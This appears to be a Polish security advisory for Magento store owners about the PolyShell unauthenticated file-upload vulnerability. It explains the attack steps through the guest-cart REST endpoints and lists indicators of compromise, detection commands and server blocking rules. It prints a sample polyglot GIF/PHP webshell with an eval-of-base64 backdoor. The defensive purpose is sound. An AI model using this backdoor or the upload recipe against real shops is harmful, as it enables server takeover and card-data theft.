Czym jest PolyShell
PolyShell to krytyczna podatność w REST API Magento, odkryta przez zespół Sansec Forensics w marcu 2026 roku. Pozwala atakującym na upload plików wykonywalnych do dowolnego sklepu Magento Open Source lub Adobe Commerce — bez konieczności logowania.
Nazwa „PolyShell” pochodzi od techniki użytej w ataku — plików poliglot (polyglot files). Są to pliki, które są jednocześnie poprawne w dwóch formatach: wyglądają jak zwykły obraz (np. GIF czy JPEG), ale zawierają osadzony kod PHP. Serwer traktuje je jako obraz podczas walidacji, ale jako wykonywalny skrypt przy próbie bezpośredniego dostępu.
Przykładowa struktura takiego pliku:
GIF89a;<?php echo 409723*20;
if(md5($_COOKIE["d"])=="a17028..."){
eval(base64_decode($_REQUEST["id"]));
}
?>
Nagłówek GIF89a sprawia, że plik przechodzi walidację jako obraz GIF. Jednocześnie zawiera pełnoprawny payload PHP — backdoor, który po aktywacji daje atakującemu pełną kontrolę nad serwerem.
Jak działa atak krok po kroku
Atak wykorzystuje trzy brakujące zabezpieczenia w mechanizmie custom options koszyka Magento. Cały proces przebiega przez nieuwierzytelnione endpointy REST API:
Utworzenie koszyka gościa
Atakujący wysyła request POST do /V1/guest-carts, aby uzyskać identyfikator koszyka. Nie wymaga to żadnych danych logowania — endpoint jest publiczny i dostępny w każdej instalacji Magento.
Dodanie produktu z custom options
Request POST/PUT do /V1/guest-carts/:cartId/items z danymi produktu zawierającymi opcje typu „file”. System nie weryfikuje, czy podane option_id faktycznie należy do danego produktu.
Upload pliku poliglot
Przesłany plik omija walidację, ponieważ jedyna kontrola to sprawdzenie nagłówka obrazu (getimagesizefromstring). Nie ma filtrowania rozszerzeń — pliki .php, .phtml i .phar są akceptowane.
Plik ląduje na serwerze
Plik zostaje zapisany w katalogu pub/media/custom_options/quote/ — publicznie dostępnym przez przeglądarkę. Pozostaje na dysku nawet jeśli wykonanie PHP jest zablokowane.
Zdalne wykonanie kodu
Atakujący uzyskuje dostęp do pliku przez jego publiczny URL. Jeśli konfiguracja serwera pozwala na interpretację PHP w tym katalogu — kod zostaje wykonany, dając pełną kontrolę nad serwerem.
Cały atak opiera się na trzech brakujących kontrolach bezpieczeństwa w Magento:
Brak walidacji option ID
Przesłane identyfikatory opcji nie są weryfikowane względem faktycznych opcji produktu. Można podać dowolne option_id.
Brak filtrowania typu opcji
Logika uploadu plików uruchamia się niezależnie od tego, czy produkt ma opcje typu „file”. Każdy produkt staje się wektorem ataku.
Brak ograniczeń rozszerzenia
Rozszerzenia .php, .phtml, .phar nie są blokowane. Jedyna kontrola to sprawdzenie nagłówka obrazu — łatwe do obejścia.
Dlaczego jest tak niebezpieczny
PolyShell łączy w sobie kilka cech, które sprawiają, że jest jedną z najgroźniejszych podatności w historii Magento:
Brak autoryzacji
Atak nie wymaga żadnych danych logowania. Każdy, kto zna URL sklepu, może go przeprowadzić — wystarczy kilka requestów HTTP.
Dekada ekspozycji
Podatny kod istnieje od pierwszego wydania Magento 2. Każdy sklep, który kiedykolwiek działał na tej platformie, jest lub był narażony.
Brak samodzielnego patcha
Poprawka dostępna jest jedynie w pre-release 2.4.9-alpha3+. Nie opublikowano standalone patcha dla wersji produkcyjnych.
79,5% sklepów atakowanych
Wśród sklepów chronionych przez Sansec, prawie 4 na 5 odnotowało przynajmniej jedną próbę eksploatacji PolyShell.
Skala ataku w liczbach
Dane zebrane przez Sansec pokazują błyskawiczną eskalację ataków od momentu odkrycia podatności:
w jednej fali ataku 30 marca
wśród chronionych przez Sansec
od Magento 2.0 do dziś
brak oficjalnej łatki produkcyjnej
Oś czasu ataków PolyShell:
Sansec dodaje ochronę
Zespół Sansec identyfikuje zagrożenie i wdraża mechanizmy blokowania ataków dla swoich klientów. Dzień później publikuje publiczne ostrzeżenie.
Pierwsze ataki w środowisku produkcyjnym
Sansec wykrywa pierwsze przypadki eksploatacji PolyShell na żywych sklepach. Atakujący testują różne warianty payloadów.
Masowe skanowanie
23% chronionych sklepów zostaje przeskanowanych. Do 24 marca na 56,7% sklepów wgrany jest złośliwy kod PHP. Atakujący łączą PolyShell z WebRTC skimmerem do kradzieży danych kart płatniczych.
Masowa fala — 471 sklepów w godzinę
Kulminacja ataków: 79,5% chronionych sklepów odnotowuje próby eksploatacji. Ponad 50 unikalnych adresów IP uczestniczy w atakach. Instalowany jest backdoor accesson.php.
Jak sprawdzić czy Twój sklep jest zagrożony
Każdy sklep na Magento 2 jest potencjalnie podatny. Poniższe kroki pozwolą zweryfikować, czy Twoja instalacja została już zaatakowana:
Sprawdź katalog custom_options
Przejrzyj zawartość pub/media/custom_options/quote/ — nie powinny się tam znajdować pliki z rozszerzeniem .php, .phtml ani .phar. Każdy taki plik to prawdopodobnie ślad ataku.
Szukaj znanych backdoorów
Sprawdź, czy na serwerze istnieje plik accesson.php — znany backdoor instalowany po eksploatacji PolyShell. Może znajdować się w var/assets/images/, vendor/assets/images/ lub pub/assets/images/.
Sprawdź logi serwera
Szukaj requestów POST/PUT do endpointów /V1/guest-carts/*/items z dużymi payloadami lub nietypową zawartością. Zwiększona liczba takich requestów to sygnał ostrzegawczy.
Monitoruj połączenia wychodzące
Sprawdź, czy serwer nie komunikuje się z domeną lanhd6549tdhse.top — znaną domeną C2 (command & control) powiązaną z atakami PolyShell.
Użyj skanera bezpieczeństwa
Narzędzia takie jak Sansec eComscan automatycznie wykrywają znane webshelle, backdoory i inne ślady kompromitacji. Ręczna analiza może przeoczyć ukryte payloady.
• Plik
accesson.php (hash: 17028f487cb2a84607646da3ad3878ec)• Połączenia do domeny
lanhd6549tdhse.top• Pliki PHP w
pub/media/custom_options/quote/• Pliki:
json-shell.php, bypass.phtml, c.php, r.php, rce.php
Komendy do szybkiej weryfikacji serwera:
# Szukaj plików PHP w katalogu uploadu
find pub/media/custom_options/ -name "*.php" -o -name "*.phtml" -o -name "*.phar"
# Szukaj backdoora accesson.php
find . -name "accesson.php" -type f
# Sprawdź połączenia do znanej domeny C2
grep -r "lanhd6549tdhse" var/log/
Jak się zabezpieczyć
Dopóki nie pojawi się oficjalny patch dla wersji produkcyjnych, konieczne jest zabezpieczenie sklepu na poziomie infrastruktury:
Zablokuj dostęp do katalogu custom_options
To najważniejsze działanie doraźne. Zablokuj cały katalog, w którym lądują pliki PolyShell — nie tylko pliki .php, ale wszystko. Konfiguracja zależy od serwera:
Nginx — użyj ^~ (prefix match), aby reguła nie mogła zostać nadpisana przez regex handler PHP (~ \.php$). To kluczowe — zwykły regex ~* może przegrać z regułą FastCGI, co jest głównym wektorem RCE w PolyShell:
# Jeśli root wskazuje na katalog instalacji Magento:
location ^~ /pub/media/custom_options/ {
deny all;
return 403;
}
# Jeśli root wskazuje na pub/ (częsta konfiguracja):
location ^~ /media/custom_options/ {
deny all;
return 403;
}
Apache — sprawdź, czy plik pub/media/custom_options/.htaccess istnieje i blokuje cały dostęp HTTP. Obsłuż obie wersje Apache (2.2 i 2.4):
# pub/media/custom_options/.htaccess
<IfVersion < 2.4>
order deny,allow
deny from all
</IfVersion>
<IfVersion >= 2.4>
Require all denied
</IfVersion>
Upewnij się również, że w konfiguracji vhosta ustawione jest AllowOverride All dla document root — bez tego Apache zignoruje pliki .htaccess.
Ogranicz dostęp do REST API
Jeśli nie korzystasz z guest checkout z custom options, rozważ zablokowanie endpointów /V1/guest-carts/*/items na poziomie serwera lub WAF (Web Application Firewall).
Monitoruj system plików
Skonfiguruj monitoring zmian w pub/media/custom_options/ — np. inotifywait, AIDE, lub komercyjne rozwiązania typu Sansec. Każdy nowy plik PHP w tym katalogu to alarm.
Planuj upgrade do Magento 2.4.9
Jedyna oficjalna poprawka to upgrade. Śledź postępy wydania stabilnej wersji 2.4.9 i zaplanuj migrację jak najszybciej. Przetestuj upgrade na środowisku staging przed wdrożeniem.
Wykonaj audyt bezpieczeństwa
Jeśli podejrzewasz kompromitację, przeprowadź pełny audyt: sprawdź pliki, bazę danych, konta adminów, konfigurację serwera i logi. Zmień wszystkie hasła i klucze API.
pub/media/custom_options/ przez location ^~ (nginx) lub .htaccess (Apache) powinno być pierwszym działaniem — nawet jeśli nie możesz jeszcze wykonać upgrade'u do Magento 2.4.9.
Co to oznacza dla właścicieli sklepów Magento
PolyShell to nie tylko problem techniczny — to sygnał, który powinien skłonić właścicieli sklepów Magento do przemyślenia swojej strategii platformowej:
Koszty incydentu
Kompromitacja oznacza koszty forensic, powiadomienia RODO, utratę reputacji i potencjalne kary. Średni koszt incydentu bezpieczeństwa w e-commerce to dziesiątki tysięcy złotych.
Odpowiedzialność prawna
Zgodnie z RODO, administrator danych odpowiada za ich ochronę. Brak reakcji na znaną podatność może zostać uznany za zaniedbanie przez UODO.
Czas na decyzję platformową
PolyShell to kolejny sygnał, że utrzymanie Magento wymaga stałego, aktywnego zarządzania bezpieczeństwem. Warto rozważyć, czy to nadal optymalna platforma.
Deficyt specjalistów
Reagowanie na taką podatność wymaga doświadczonego zespołu. Pula specjalistów Magento na rynku kurczy się z każdym rokiem, a stawki rosną.
Podsumowanie
PolyShell to jedna z najpoważniejszych podatności w historii Magento — łączy brak autoryzacji, trywialność exploitacji i brak oficjalnego patcha. Kluczowe wnioski:
- PolyShell dotyczy WSZYSTKICH wersji Magento 2 — od pierwszego wydania do 2.4.9-alpha2
- Atak nie wymaga autoryzacji i jest trywialny do przeprowadzenia przez publiczne endpointy REST API
- Brak standalone patcha — jedyna oficjalna poprawka to upgrade do pre-release 2.4.9-alpha3+
- Zablokowanie dostępu do
pub/media/custom_options/regułą^~(nginx) to krytyczny krok doraźny, który należy wdrożyć natychmiast - Regularny monitoring i audyty bezpieczeństwa to nie opcja, a konieczność dla każdego sklepu Magento
Jeśli prowadzisz sklep na Magento i nie wiesz, czy jesteś zabezpieczony przed PolyShell — umów darmową konsultację. Sprawdzimy Twój sklep i zaproponujemy konkretne kroki ochrony.
Obawiasz się o bezpieczeństwo swojego sklepu Magento?
Umów darmową konsultację — sprawdzimy Twój sklep pod kątem PolyShell i innych podatności.
Umów darmową konsultację